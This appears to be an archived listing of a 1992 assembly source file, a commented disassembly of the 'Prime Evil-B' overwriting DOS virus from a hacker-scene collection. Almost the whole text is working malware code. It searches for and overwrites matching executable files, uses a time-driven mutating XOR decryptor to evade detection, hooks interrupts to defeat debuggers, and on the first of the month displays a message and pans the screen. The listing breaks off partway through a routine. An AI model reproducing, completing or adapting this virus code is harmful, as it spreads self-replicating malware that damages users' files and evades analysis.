home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / PRIME-B.ASM < prev    next >
Assembly Source File  |  1992-11-21  |  41KB  |  1,168 lines

  1. comment %
  2. ===============================================================================
  3.  
  4.                     Prime Evil-B Overwriter "Virus" Source
  5.          Disassembled by Cruel Entity of The Funky Pack of CyberPunks
  6.  Notes:
  7.  Interresting programming style... :)
  8.  
  9. ===============================================================================
  10.         %
  11.  
  12. id              equ     0DB33h
  13. dta_filename    equ     9Eh
  14.  
  15. seg_a           segment byte public
  16.                 assume  cs:seg_a, ds:seg_a
  17.  
  18.  
  19.                 org     100h
  20.  
  21. prime           proc    far
  22.  
  23. vstart          equ     $
  24.  
  25. start:
  26.                 xor     bx,bx                   ; Zero register
  27.                 nop
  28.                 nop
  29.                 nop
  30.                 nop
  31.                 call    decrypt+1               ; decrypt
  32.                 nop
  33.                 nop
  34.                 nop
  35.                 db      0ebh,46h                ;jump to crypt_beg
  36.  
  37. prime           endp
  38.  
  39.  
  40. decrypt         proc    near
  41. data    db      00,53h,0bbh                     ; push bx
  42.                 push    sp
  43.  
  44.                 add     [bx+si+9090h],dx        ; where to decrypt
  45.                 nop
  46.                 mov     cx,70eh                 ; # of bytes to decrypt
  47.                 nop
  48.                 nop
  49.                 nop
  50.                 push    cx
  51.                 nop
  52.                 nop
  53.                 nop
  54.                 mov     al,cs:data
  55.                 nop
  56.                 nop
  57.                 nop
  58.                 nop
  59. decrypt2:       nop
  60.                 nop
  61.                 nop
  62.                 xor     [bx],al
  63.                 nop
  64.                 nop
  65.                 inc     bx
  66.                 nop
  67.                 nop
  68.                 loop    decrypt2
  69.                 pop     cx
  70.                 pop     bx
  71.                 nop
  72.                 nop
  73.                 nop
  74.                 nop
  75.                 inc     bx
  76.                 dec     bx
  77.                 jz      return
  78.                 nop
  79.                 nop
  80.                 nop
  81.                 nop
  82.                 mov     ah,40h
  83.                 xchg    si,dx
  84.                 nop
  85.                 nop
  86.                 int     21h
  87.                 xor     bx,bx
  88.                 nop
  89.                 nop
  90.                 nop
  91.                 jmp     decrypt+1
  92. return:
  93.                 ret
  94.                 nop
  95.         db      0e9h,80h,00h                    ; used to fuck debug
  96. decrypt          endp
  97.  
  98. crypt_beg:
  99. fmask           db      '*.C*', 0
  100. message         db      'Prime Evil! '
  101.                 db      '(C) Spellbound, Line Noise 1992.',0dh,0ah
  102.                 db      'Coded in Stockholm, Sweden.', 0Dh, 0Ah
  103.                 db      'Please spell my name right!$'
  104.  
  105.  
  106. f_size          db      0, 0
  107. f_time          dw      0
  108. f_date          dw      0
  109. data_12         dw      0
  110. m_seg           dw      0                 ;memory segment
  111.  
  112.  
  113. int_24h_entry   proc    far                     ; this replaces int24
  114.                 mov     bl,3
  115.                 iret                            ; interrupt return
  116. int_24h_entry   endp
  117.  
  118. f_handle        dw      0
  119. int_jmp         db      0EAh, 5Bh,0E0h, 00h,0F0h
  120. int_1:
  121.                 mov     dx,offset int_jmp
  122. fuck_sr_1:
  123.                 mov     ax,0fe05h               ; hook int 1 and int 3
  124.                 jmp     fuck_sr_1+1             ; (which fucks debug)
  125.                 add     ax,0ebfeh
  126.                 sub     ah,0b1h
  127.                 int     21h
  128.                 add     al,02h
  129.                 int     21h
  130.                 mov     al,0ffh
  131.                 out     21h,al
  132.  
  133.                 mov     ah,4ah
  134.                 mov     bx,00c8h
  135.                 int     21h
  136.                 mov     ah,48h
  137.                 mov     bx,0096h
  138.                 int     21h
  139.                 mov     cs:m_seg,ax             ; allocate memory
  140.  
  141.                 mov     ax,2524h
  142.                 mov     dx,offset int_24h_entry
  143.                 int     21h                     ; change int24h
  144.                                                 ; set intrpt vector al to ds:dx
  145.  
  146.                 mov     ah,2Ah                  ; get date
  147.                 int     21h
  148.  
  149.                 cmp     dl,1                    ; is it day 1?
  150.  
  151.                 jne     not_day1                ; no it isn't
  152.  
  153.                 mov     ah,9
  154.                 mov     dx,offset message       ; then display a message
  155.                 int     21h                     ;
  156.                                                 ;
  157.                 call    pan_screen              ; and pan the screen
  158.  
  159.  
  160. not_day1:
  161.                 mov     dx,offset fmask
  162.                 mov     ah,4Eh
  163.                 int     21h                     ; find 1st .COM file
  164.  
  165.                 jnc     found_com               ; if no error, move on to
  166.                                                 ; found_com
  167.  
  168.                 xor     al,al                   ; no .COM file found
  169.                 out     21h,al                  ; exit to dos
  170.                 retn
  171. found_com:
  172.                 mov     ax,4300h
  173.                 mov     dx,dta_filename
  174.                 int     21h                     ; get file attribute
  175.  
  176.                 push    cx                      ; save attrib
  177.                 mov     ax,4301h
  178.                 xor     cx,cx
  179.                 int     21h                     ; set attrib to normal
  180.  
  181.                 xor     al,al                   ;
  182.                 out     21h,al                  ; port 21h, 8259-1 int comands
  183.  
  184.                 mov     dx,dta_filename
  185.                 mov     word ptr cs:f_size,dx   ; save file size
  186.  
  187.                 mov     ax,3D02h
  188.                 int     21h                     ; open file
  189.  
  190.                 jnc     opened_ok               ; Jump if not error
  191.                 jmp     find_next               ;
  192. ;
  193. ;               ^^^ interesting way of solving the error jumping...
  194. ;
  195.  
  196. opened_ok:
  197.                 mov     cs:f_handle,ax          ; save file handle
  198.  
  199.                 mov     ax,5700h                ; get file date/time
  200.                 mov     bx,cs:f_handle
  201.                 int     21h
  202.  
  203.                 jnc     get_date_ok             ; Jump if no error
  204.  
  205.                 retn                            ; error when checking
  206.                                                 ; file time/date, exit to DOS
  207.  
  208. get_date_ok:
  209.                 mov     cs:f_time,cx            ; save file time
  210.                 mov     cs:f_date,dx            ; and file date
  211.  
  212.  
  213.                 mov     ah,3Fh                  ; read file to memory
  214.                 mov     cx,70eh                 ; <- virus size
  215.                 push    ds                      ; save data seg
  216.                 mov     ds,cs:m_seg             ; memory segment
  217.                 mov     dx,0
  218.                 int     21h
  219.  
  220.                 push    ax                      ; save bytes
  221.  
  222.                 mov     si,0
  223.                 lodsw                           ; String [si] to ax
  224.                 xchg    ax,si
  225.                 pop     ax
  226.                 pop     ds                      ; restore data seg
  227.                 mov     word ptr cs:f_size,ax   ; save file size
  228.                 cmp     si,id                   ; already infected??
  229.                 jne     readed_ok               ; nope...
  230.                 jmp     already_inf             ;
  231. readed_ok:
  232.                 push    ds                      ; save data seg
  233.                 mov     ds,cs:m_seg             ; copy memory seg to ds
  234.                 mov     es,cs:m_seg             ; and es
  235.                 xor     di,di                   ;
  236.                 xor     si,si                   ;
  237.                 mov     cx,70eh                 ; virus size
  238.  
  239.                 mov     ah,0F3h                 ; decryption value
  240.  
  241. crypt_file:
  242.                 lodsb                           ; load a byte
  243.                 xor     al,ah                   ; decrypt it
  244.                 stosb                           ; and save it
  245.                 loop    crypt_file
  246.  
  247.                 pop     ds                      ; restore data seg
  248.  
  249.                 mov     ax,4200h                ; move file ptr.
  250.                 xor     cx,cx                   ; to beginning of file
  251.                 xor     dx,dx
  252.                 int     21h
  253.  
  254.                 mov     ah,2Ch                  ; get system time
  255.                 int     21h
  256.  
  257.                 xchg    dh,al                   ; second to al
  258.                 xor     ah,ah                   ;
  259.                 mul     cl                      ;   cl *  al = ax
  260.                                                 ; (min * sec = ax)
  261.                 add     al,dl                   ; add al,minutes
  262.                 add     ax,70eh                 ; add ax,virulen
  263.                 add     al,byte ptr cs:[10Eh]
  264.                 mov     byte ptr cs:[10Eh],al
  265.  
  266.                 call    crypt                   ; decrypt the shit
  267.  
  268.                 push    cs                      ; cs to ds
  269.                 pop     ds
  270.  
  271.                 mov     si,100h
  272.                 mov     bx,cs:f_handle
  273.                 call    decrypt+1
  274.  
  275.                 mov     ax,4202h                ; move file ptr to eof
  276.                 mov     bx,cs:f_handle
  277.                 xor     cx,cx
  278.                 xor     dx,dx
  279.                 int     21h
  280.  
  281.                 mov     ah,40h                  ; write original file
  282.                 mov     cx,word ptr cs:f_size
  283.                 push    ds                      ; save data seg
  284.                 mov     ds,cs:m_seg
  285.                 mov     dx,0
  286.                 int     21h
  287.  
  288.                 pop     ds                      ; restore data seg
  289.  
  290.                 mov     ax,5701h                ; restore file time/date
  291.                 mov     cx,cs:f_time
  292.                 mov     dx,cs:f_date
  293.                 int     21h
  294.  
  295.                 jc      exit                    ; exit if error
  296.  
  297.                 mov     ah,3Eh                  ; close file
  298.                 int     21h
  299.  
  300.                 pop     cx
  301.                 mov     dx,dta_filename         ; restore attrib
  302.                 mov     ax,4301h
  303.                 int     21h
  304.  
  305.                 jmp     short exit
  306. already_inf:
  307.                 mov     ah,3Eh                  ; close file
  308.                 int     21h
  309.  
  310.                 pop     cx                      ; restore attrib
  311.                 mov     dx,dta_filename
  312.                 mov     ax,4301h
  313.                 int     21h
  314. find_next:
  315.                 mov     ah,4Fh
  316.                 int     21h                     ; find next .COM file
  317.  
  318.                 jc      screw                   ; jump if error
  319.                 jmp     found_com               ; else, do next .COM file
  320.  
  321. exit:
  322.                 retn                            ; exit to dos
  323. screw:
  324.                 int     1                       ; single step
  325.                 retn
  326.  
  327. pan_screen      proc    near                    ; this routine will scroll
  328.                 mov     cs:data_12,0            ; the screen and reboot
  329. loc_15:
  330.                 mov     bx,cs:data_12           ; lots of messing with the
  331.                 mov     dx,3D4h                 ; video ports below...
  332.                 mov     ah,bh                   ;
  333.                 mov     al,0Ch                  ;
  334.                 out     dx,ax                   ; port 3D4h, CGA/EGA reg index
  335.                                                 ; al = 0Ch, start address high
  336.                 mov     ah,bl
  337.                 inc     al
  338.                 out     dx,ax                   ; port 3D4h, CGA/EGA reg index
  339.                                                 ; al = 0Dh, start address low
  340.                 mov     dx,3DAh
  341. loc_16:
  342.                 in      al,dx                   ; port 3DAh, CGA/EGA vid status
  343.                 test    al,8
  344.                 jnz     loc_16                  ; Jump if not zero
  345. loc_17:
  346.                 in      al,dx                   ; port 3DAh, CGA/EGA vid status
  347.                 test    al,8
  348.                 jz      loc_17                  ; Jump if zero
  349.                 inc     cs:data_12
  350.                 cmp     cs:data_12,50h
  351.                 jle     loc_15                  ; Jump if < or =
  352.                 mov     cs:data_12,0
  353.                 retn
  354. pan_screen      endp
  355.  
  356.  
  357. crypt           proc    near
  358.                 push    cs                      ; move cs to ds and es
  359.                 push    cs
  360.                 pop     ds
  361.                 pop     es
  362.  
  363.                 mov     di,113h
  364.                 call    get_time                ; get system time
  365.  
  366.                 cmp     dh,0Ah                  ; if seconds = 0ah
  367.                 jb      loc_22                  ; Jump if below
  368.  
  369.                 cmp     dh,14h                  ; if seconds = 14h
  370.                 jb      loc_21                  ; Jump if below
  371.  
  372.                 cmp     dh,1Eh                  ; if seconds = 1eh
  373.                 jb      loc_20                  ; Jump if below
  374.  
  375.                 cmp     dh,28h                  ; if seconds = 28h
  376.                 jb      loc_19                  ; Jump if below
  377.  
  378.                 cmp     dh,32h                  ; if seconds = 32h
  379.                 jb      loc_18                  ; Jump if below
  380.  
  381.                 call    write_31h_0c7h          ; The stuff below this
  382.                 call    write_31h_0cfh          ; is just for mutating
  383.                                                 ; some instructions in the
  384.                 jmp     short loc_23            ; decryptioning routine.
  385. loc_18:                                         ;
  386.                 call    write_31h_0ddh
  387.                 call    write_45h
  388.                 call    write_4fh
  389.                 jmp     short loc_23
  390. loc_19:
  391.                 call    write_31h_0f7h
  392.                 call    write_31h_0edh
  393.                 jmp     short loc_23
  394. loc_20:
  395.                 call    write_8dh_3eh_BL_BH
  396.                 jmp     short loc_23
  397. loc_21:
  398.                 call    write_83h_0c7h_DL
  399.                 call    write_47h
  400.                 jmp     short loc_23
  401. loc_22:
  402.                 call    write_0ebh_0
  403.                 call    write_31h_0ffh
  404. loc_23:
  405.                 mov     di,11Ah
  406.                 call    get_time
  407.  
  408.                 cmp     dh,0Ah                  ; if seconds = 0ah
  409.                 jb      loc_28                  ; Jump if below
  410.  
  411.                 cmp     dh,14h                  ; if seconds = 14h
  412.                 jb      loc_27                  ; Jump if below
  413.  
  414.                 cmp     dh,1Eh                  ; if seconds = 1eh
  415.                 jb      loc_26                  ; Jump if below
  416.  
  417.                 cmp     dh,28h                  ; if seconds = 28h
  418.                 jb      loc_25                  ; Jump if below
  419.  
  420.                 cmp     dh,32h                  ; if seconds = 32h
  421.                 jb      loc_24                  ; Jump if below
  422.  
  423.                 call    write_31h_0cfh
  424.                 call    write_45h
  425.  
  426.                 jmp     short loc_29
  427. loc_24:
  428.                 call    write_47h
  429.                 call    write_47h
  430.                 call    write_47h
  431.                 jmp     short loc_29
  432. loc_25:
  433.                 call    write_31h_0c7h
  434.                 call    write_45h
  435.                 jmp     short loc_29
  436. loc_26:
  437.                 call    write_0ebh_0
  438.                 call    write_45h
  439.                 jmp     short loc_29
  440. loc_27:
  441.                 call    write_47h
  442.                 call    write_31h_0edh
  443.                 jmp     short loc_29
  444. loc_28:
  445.                 call    write_83h_0c7h_DL
  446. loc_29:
  447.                 mov     di,11Eh
  448.                 call    get_time
  449.  
  450.                 cmp     dh,0Ah                  ; if seconds = 0ah
  451.                 jb      loc_34                  ; Jump if below
  452.  
  453.                 cmp     dh,14h                  ; if seconds = 14h
  454.                 jb      loc_33                  ; Jump if below
  455.  
  456.                 cmp     dh,1Eh                  ; if seconds = 1eh
  457.                 jb      loc_32                  ; Jump if below
  458.  
  459.                 cmp     dh,28h                  ; if seconds = 28h
  460.                 jb      loc_31                  ; Jump if below
  461.  
  462.                 cmp     dh,32h                  ; if seconds = 32h
  463.                 jb      loc_30                  ; Jump if below
  464.  
  465.                 call    write_31h_0d7h
  466.                 call    write_45h
  467.  
  468.                 jmp     short loc_35
  469. loc_30:
  470.                 call    write_31h_0edh
  471.                 call    write_45h
  472.                 jmp     short loc_35
  473. loc_31:
  474.                 call    write_83h_0c7h_DL
  475.                 jmp     short loc_35
  476. loc_32:
  477.                 call    write_0bfh_BL_0bfh
  478.                 jmp     short loc_35
  479. loc_33:
  480.                 call    write_31h_0d5h
  481.                 call    write_4fh
  482.                 jmp     short loc_35
  483. loc_34:
  484.                 call    write_4fh
  485.                 call    write_4fh
  486.                 call    write_47h
  487. loc_35:
  488.                 mov     di,125h
  489.                 call    get_time
  490.  
  491.                 cmp     dh,0Ah                  ; if seconds = 0ah
  492.                 jb      loc_40                    ;Jump if below
  493.  
  494.                 cmp     dh,14h                  ; if seconds = 14h
  495.                 jb      loc_39                  ; Jump if below
  496.  
  497.                 cmp     dh,1Eh                  ; if seconds = 1eh
  498.                 jb      loc_38                  ; Jump if below
  499.  
  500.                 cmp     dh,28h                  ; if seconds = 28h
  501.                 jb      loc_37                  ; Jump if below
  502.  
  503.                 cmp     dh,32h                  ; if seconds = 32h
  504.                 jb      loc_36                  ; Jump if below
  505.  
  506.                 call    write_31h_0cfh
  507.                 call    write_31h_0c7h
  508.  
  509.                 jmp     short loc_41
  510. loc_36:
  511.                 call    write_45h
  512.                 call    write_31h_0ddh
  513.                 call    write_4fh
  514.                 jmp     short loc_41
  515. loc_37:
  516.                 call    write_31h_0ffh
  517.                 call    write_31h_0c5h
  518.                 jmp     short loc_41
  519. loc_38:
  520.                 call    write_83h_0c7h_DL
  521.                 call    write_47h
  522.                 jmp     short loc_41
  523. loc_39:
  524.                 call    write_83h_0c7h_DL
  525.                 call    write_4fh
  526.                 jmp     short loc_41
  527. loc_40:
  528.                 call    write_31h_0ffh
  529.                 call    write_0ebh_0
  530. loc_41:
  531.                 mov     di,129h
  532.                 call    get_time
  533.  
  534.                 cmp     dh,0Ah                  ; if seconds = 0ah
  535.                 jb      loc_46                    ;Jump if below
  536.  
  537.                 cmp     dh,14h                  ; if seconds = 14h
  538.                 jb      loc_45                  ; Jump if below
  539.  
  540.                 cmp     dh,1Eh                  ; if seconds = 1eh
  541.                 jb      loc_44                  ; Jump if below
  542.  
  543.                 cmp     dh,28h                  ; if seconds = 28h
  544.                 jb      loc_43                  ; Jump if below
  545.  
  546.                 cmp     dh,32h                  ; if seconds = 32h
  547.                 jb      loc_42                  ; Jump if below
  548.  
  549.                 call    write_45h
  550.                 call    write_31h_0edh
  551.  
  552.                 jmp     short loc_47
  553. loc_42:
  554.                 call    write_9h_0ffh
  555.                 call    write_4fh
  556.                 jmp     short loc_47
  557. loc_43:
  558.                 call    write_21h_0efh
  559.                 call    write_45h
  560.                 jmp     short loc_47
  561. loc_44:
  562.                 call    write_29h_0efh
  563.                 call    write_47h
  564.                 jmp     short loc_47
  565. loc_45:
  566.                 call    write_0bfh_BL_0bfh
  567.                 jmp     short loc_47
  568. loc_46:
  569.                 call    write_83h_0c7h_DL
  570. loc_47:
  571.                 mov     di,12Eh
  572.                 call    get_time
  573.  
  574.                 cmp     dh,0Ah                  ; if seconds = 0ah
  575.                 jb      loc_52                  ; Jump if below
  576.  
  577.                 cmp     dh,14h                  ; if seconds = 14h
  578.                 jb      loc_51                  ; Jump if below
  579.  
  580.                 cmp     dh,1Eh                  ; if seconds = 1eh
  581.                 jb      loc_50                  ; Jump if below
  582.  
  583.                 cmp     dh,28h                  ; if seconds = 28h
  584.                 jb      loc_49                  ; Jump if below
  585.  
  586.                 cmp     dh,32h                  ; if seconds = 32h
  587.                 jb      loc_48                  ; Jump if below
  588.  
  589.                 call    write_31h_0cfh
  590.  
  591.                 jmp     short loc_53
  592. loc_48:
  593.                 call    write_47h
  594.                 call    write_4fh
  595.                 jmp     short loc_53
  596. loc_49:
  597.                 call    write_31h_0c5h
  598.                 jmp     short loc_53
  599. loc_50:
  600.                 call    write_29h_0f7h
  601.                 jmp     short loc_53
  602. loc_51:
  603.                 call    write_83h_0c7h_DL
  604.                 jmp     short loc_53
  605. loc_52:
  606.                 call    write_0ebh_0
  607. loc_53:
  608.                 mov     di,131h
  609.                 call    get_time
  610.  
  611.                 cmp     dh,0Ah                  ; if seconds = 0ah
  612.                 jb      loc_58                    ;Jump if below
  613.  
  614.                 cmp     dh,14h                  ; if seconds = 14h
  615.                 jb      loc_57                  ; Jump if below
  616.  
  617.                 cmp     dh,1Eh                  ; if seconds = 1eh
  618.                 jb      loc_56                  ; Jump if below
  619.  
  620.                 cmp     dh,28h                  ; if seconds = 28h
  621.                 jb      loc_55                  ; Jump if below
  622.  
  623.                 cmp     dh,32h                  ; if seconds = 32h
  624.                 jb      loc_54                  ; Jump if below
  625.  
  626.                 call    write_29h_0cfh
  627.  
  628.                 jmp     short loc_59
  629. loc_54:
  630.                 call    write_47h
  631.                 call    write_4fh
  632.                 jmp     short loc_59
  633. loc_55:
  634.                 call    write_31h_0f5h
  635.                 jmp     short loc_59
  636. loc_56:
  637.                 call    write_45h
  638.                 call    write_4fh
  639.                 jmp     short loc_59
  640. loc_57:
  641.                 call    write_9h_0efh
  642.                 jmp     short loc_59
  643. loc_58:
  644.                 call    write_0ebh_0
  645.                 call    write_47h
  646. loc_59:
  647.                 mov     di,137h
  648.                 call    get_time
  649.  
  650.                 cmp     dh,0Ah                  ; if seconds = 0ah
  651.                 jb      loc_64                    ;Jump if below
  652.  
  653.                 cmp     dh,14h                  ; if seconds = 14h
  654.                 jb      loc_63                  ; Jump if below
  655.  
  656.                 cmp     dh,1Eh                  ; if seconds = 1eh
  657.                 jb      loc_62                  ; Jump if below
  658.  
  659.                 cmp     dh,28h                  ; if seconds = 28h
  660.                 jb      loc_61                  ; Jump if below
  661.  
  662.                 cmp     dh,32h                  ; if seconds = 32h
  663.                 jb      loc_60                  ; Jump if below
  664.  
  665.                 call    write_31h_0c7h
  666.                 call    write_31h_0dfh
  667.  
  668.                 jmp     short loc_65
  669. loc_60:
  670.                 call    write_81h_0efh
  671.                 jmp     short loc_65
  672. loc_61:
  673.                 call    write_9h_0ffh
  674.                 call    write_21h_0efh
  675.                 jmp     short loc_65
  676. loc_62:
  677.                 call    write_83h_0c7h_DL
  678.                 call    write_47h
  679.                 jmp     short loc_65
  680. loc_63:
  681.                 call    write_31h_0f7h
  682.                 call    write_21h_0efh
  683.                 jmp     short loc_65
  684. loc_64:
  685.                 call    write_0ebh_0
  686.                 call    write_0ebh_0
  687. loc_65:
  688.                 mov     di,13Fh
  689.                 call    get_time
  690.  
  691.                 cmp     dh,0Ah                  ; if seconds = 0ah
  692.                 jb      loc_70                    ;Jump if below
  693.  
  694.                 cmp     dh,14h                  ; if seconds = 14h
  695.                 jb      loc_69                  ; Jump if below
  696.  
  697.                 cmp     dh,1Eh                  ; if seconds = 1eh
  698.                 jb      loc_68                  ; Jump if below
  699.  
  700.                 cmp     dh,28h                  ; if seconds = 28h
  701.                 jb      loc_67                  ; Jump if below
  702.  
  703.                 cmp     dh,32h                  ; if seconds = 32h
  704.                 jb      loc_66                  ; Jump if below
  705.  
  706.                 call    write_31h_0d7h
  707.                 call    write_29h_0f7h
  708.  
  709.                 jmp     short loc_71
  710. loc_66:
  711.                 call    write_9h_0efh
  712.                 call    write_47h
  713.                 call    write_47h
  714.                 jmp     short loc_71
  715. loc_67:
  716.                 call    write_31h_0f7h
  717.                 call    write_31h_0edh
  718.                 jmp     short loc_71
  719. loc_68:
  720.                 call    write_83h_0c7h_DL
  721.                 call    write_4fh
  722.                 jmp     short loc_71
  723. loc_69:
  724.                 call    write_31h_0ffh
  725.                 call    write_31h_0ffh
  726.                 jmp     short loc_71
  727. loc_70:
  728.                 call    write_31h_0f7h
  729.                 call    write_0ebh_0
  730. loc_71:
  731.                 mov     di,147h
  732.                 call    get_time
  733.  
  734.                 cmp     dh,0Ah                  ; if seconds = 0ah
  735.                 jb      loc_76                    ;Jump if below
  736.  
  737.                 cmp     dh,14h                  ; if seconds = 14h
  738.                 jb      loc_75                  ; Jump if below
  739.  
  740.                 cmp     dh,1Eh                  ; if seconds = 1eh
  741.                 jb      loc_74                  ; Jump if below
  742.  
  743.                 cmp     dh,28h                  ; if seconds = 28h
  744.                 jb      loc_73                  ; Jump if below
  745.  
  746.                 cmp     dh,32h                  ; if seconds = 32h
  747.                 jb      loc_72                  ; Jump if below
  748.  
  749.                 call    write_31h_0c7h
  750.  
  751.                 jmp     short loc_77
  752. loc_72:
  753.                 call    write_4fh
  754.                 call    write_4fh
  755.                 jmp     short loc_77
  756. loc_73:
  757.                 call    write_21h_0efh
  758.                 jmp     short loc_77
  759. loc_74:
  760.                 call    write_9h_0efh
  761.                 jmp     short loc_77
  762. loc_75:
  763.                 call    write_45h
  764.                 call    write_4dh
  765.                 jmp     short loc_77
  766. loc_76:
  767.                 call    write_0ebh_0
  768. loc_77:
  769.                 mov     di,14Dh
  770.                 call    get_time
  771.  
  772.                 cmp     dh,0Ah                  ; if seconds = 0ah
  773.                 jb      loc_82                    ;Jump if below
  774.  
  775.                 cmp     dh,14h                  ; if seconds = 14h
  776.                 jb      loc_81                  ; Jump if below
  777.  
  778.                 cmp     dh,1Eh                  ; if seconds = 1eh
  779.                 jb      loc_80                  ; Jump if below
  780.  
  781.                 cmp     dh,28h                  ; if seconds = 28h
  782.                 jb      loc_79                  ; Jump if below
  783.  
  784.                 cmp     dh,32h                  ; if seconds = 32h
  785.                 jb      loc_78                  ; Jump if below
  786.  
  787.                 call    write_31h_0f7h
  788.                 call    write_47h
  789.  
  790.                 jmp     short loc_83
  791. loc_78:
  792.                 call    write_31h_0ddh
  793.                 call    write_4fh
  794.                 jmp     short loc_83
  795. loc_79:
  796.                 call    write_31h_0f7h
  797.                 call    write_47h
  798.                 jmp     short loc_83
  799. loc_80:
  800.                 call    write_83h_0c7h_DL
  801.                 jmp     short loc_83
  802. loc_81:
  803.                 call    write_0bfh_BL_0bfh
  804.                 jmp     short loc_83
  805. loc_82:
  806.                 call    write_47h
  807.                 call    write_0ebh_0
  808. loc_83:
  809.                 mov     di,102h
  810.                 call    get_time
  811.  
  812.                 cmp     dh,0Ah                  ; if seconds = 0ah
  813.                 jb      loc_88                    ;Jump if below
  814.  
  815.                 cmp     dh,14h                  ; if seconds = 14h
  816.                 jb      loc_87                  ; Jump if below
  817.  
  818.                 cmp     dh,1Eh                  ; if seconds = 1eh
  819.                 jb      loc_86                  ; Jump if below
  820.  
  821.                 cmp     dh,28h                  ; if seconds = 28h
  822.                 jb      loc_85                  ; Jump if below
  823.  
  824.                 cmp     dh,32h                  ; if seconds = 32h
  825.                 jb      loc_84                  ; Jump if below
  826.  
  827.                 call    write_31h_0c7h
  828.                 call    write_31h_0cfh
  829.  
  830.                 jmp     short loc_89
  831. loc_84:
  832.                 call    write_31h_0ddh
  833.                 call    write_45h
  834.                 call    write_4fh
  835.                 jmp     short loc_89
  836. loc_85:
  837.                 call    write_31h_0f7h
  838.                 call    write_31h_0edh
  839.                 jmp     short loc_89
  840. loc_86:
  841.                 call    write_8dh_3eh_BL_BH
  842.                 jmp     short loc_89
  843. loc_87:
  844.                 call    write_83h_0c7h_DL
  845.                 call    write_47h
  846.                 jmp     short loc_89
  847. loc_88:
  848.                 call    write_0ebh_0
  849.                 call    write_31h_0ffh
  850. loc_89:
  851.                 mov     di,109h
  852.                 call    get_time
  853.  
  854.                 cmp     dh,0Ah                  ; if seconds = 0ah
  855.                 jb      loc_94                    ;Jump if below
  856.  
  857.                 cmp     dh,14h                  ; if seconds = 14h
  858.                 jb      loc_93                  ; Jump if below
  859.  
  860.                 cmp     dh,1Eh                  ; if seconds = 1eh
  861.                 jb      loc_92                  ; Jump if below
  862.  
  863.                 cmp     dh,28h                  ; if seconds = 28h
  864.                 jb      loc_91                  ; Jump if below
  865.  
  866.                 cmp     dh,32h                  ; if seconds = 32h
  867.                 jb      loc_90                  ; Jump if below
  868.  
  869.                 call    write_0ebh_0
  870.                 call    write_47h
  871.  
  872.                 jmp     short loc_ret_95
  873. loc_90:
  874.                 call    write_0ebh_0
  875.                 call    write_4fh
  876.                 jmp     short loc_ret_95
  877. loc_91:
  878.                 call    write_47h
  879.                 call    write_47h
  880.                 call    write_45h
  881.                 jmp     short loc_ret_95
  882. loc_92:
  883.                 call    write_83h_0c7h_DL
  884.                 jmp     short loc_ret_95
  885. loc_93:
  886.                 call    write_47h
  887.                 call    write_31h_0ffh
  888.                 jmp     short loc_ret_95
  889. loc_94:
  890.                 call    write_0ebh_0
  891.                 call    write_47h
  892.  
  893. loc_ret_95:
  894.                 retn
  895. crypt           endp
  896.  
  897.  
  898.  
  899. get_time        proc    near
  900.                 mov     ah,2Ch                  ; get system time
  901.                 int     21h
  902.  
  903.                 retn
  904. get_time        endp
  905.  
  906.  
  907. write_31h_0c5h           proc    near
  908.                 mov     al,31h
  909.                 stosb                           ; Store al to es:[di]
  910.                 mov     al,0C5h
  911.                 stosb                           ; Store al to es:[di]
  912.                 retn
  913. write_31h_0c5h           endp
  914.  
  915.  
  916. write_31h_0ddh           proc    near
  917.                 mov     al,31h
  918.                 stosb                           ; Store al to es:[di]
  919.                 mov     al,0DDh
  920.                 stosb                           ; Store al to es:[di]
  921.                 retn
  922. write_31h_0ddh           endp
  923.  
  924.                 mov     al,31h
  925.                 stosb                           ; Store al to es:[di]
  926.                 mov     al,0CDh
  927.                 stosb                           ; Store al to es:[di]
  928.                 retn
  929.  
  930.  
  931. write_31h_0d5h           proc    near
  932.                 mov     al,31h                  ; '1'
  933.                 stosb                           ; Store al to es:[di]
  934.                 mov     al,0D5h
  935.                 stosb                           ; Store al to es:[di]
  936.                 retn
  937. write_31h_0d5h           endp
  938.  
  939.  
  940.  
  941. write_31h_0f5h           proc    near
  942.                 mov     al,31h                  ; '1'
  943.                 stosb                           ; Store al to es:[di]
  944.                 mov     al,0F5h
  945.                 stosb                           ; Store al to es:[di]
  946.                 retn
  947. write_31h_0f5h           endp
  948.  
  949.                 mov     al,31h                  ; '1'
  950.                 stosb                           ; Store al to es:[di]
  951.                 mov     al,0FDh
  952.                 stosb                           ; Store al to es:[di]
  953.                 retn
  954.  
  955.  
  956. write_31h_0edh           proc    near
  957.                 mov     al,31h                  ; '1'
  958.                 stosb                           ; Store al to es:[di]
  959.                 mov     al,0EDh
  960.                 stosb                           ; Store al to es:[di]
  961.                 retn
  962. write_31h_0edh           endp
  963.  
  964.  
  965. write_31h_0c7h          proc    near
  966.                 mov     al,31h                  ; '1'
  967.                 stosb                           ; Store al to es:[di]
  968.                 mov     al,0C7h
  969.                 stosb                           ; Store al to es:[di]
  970.                 retn
  971. write_31h_0c7h          endp
  972.  
  973.  
  974. write_31h_0dfh          proc    near
  975.                 mov     al,31h                  ; '1'
  976.                 stosb                           ; Store al to es:[di]
  977.                 mov     al,0DFh
  978.                 stosb                           ; Store al to es:[di]
  979.                 retn
  980. write_31h_0dfh          endp
  981.  
  982.  
  983. write_31h_0cfh          proc    near
  984.                 mov     al,31h                  ; '1'
  985.                 stosb                           ; Store al to es:[di]
  986.                 mov     al,0CFh
  987.                 stosb                           ; Store al to es:[di]
  988.                 retn
  989. write_31h_0cfh          endp
  990.  
  991.  
  992. write_31h_0d7h          proc    near
  993.                 mov     al,31h                  ; '1'
  994.                 stosb                           ; Store al to es:[di]
  995.                 mov     al,0D7h
  996.                 stosb                           ; Store al to es:[di]
  997.                 retn
  998. write_31h_0d7h          endp
  999.  
  1000.                 mov     al,31h                  ; '1'
  1001.                 stosb                           ; Store al to es:[di]
  1002.                 mov     al,0EFh
  1003.                 stosb                           ; Store al to es:[di]
  1004.                 retn
  1005.  
  1006. write_31h_0f7h          proc    near
  1007.                 mov     al,31h
  1008.                 stosb                           ; tore al to es:[di]
  1009.                 mov     al,0F7h
  1010.                 stosb                           ; tore al to es:[di]
  1011.                 retn
  1012. write_31h_0f7h          endp
  1013.  
  1014.  
  1015. write_31h_0ffh          proc    near
  1016.                 mov     al,31h
  1017.                 stosb                           ; tore al to es:[di]
  1018.                 mov     al,0FFh
  1019.                 stosb                           ; tore al to es:[di]
  1020.                 retn
  1021. write_31h_0ffh          endp
  1022.  
  1023.  
  1024.  
  1025. write_45h          proc    near
  1026.                 mov     al,45h                  ; 'E'
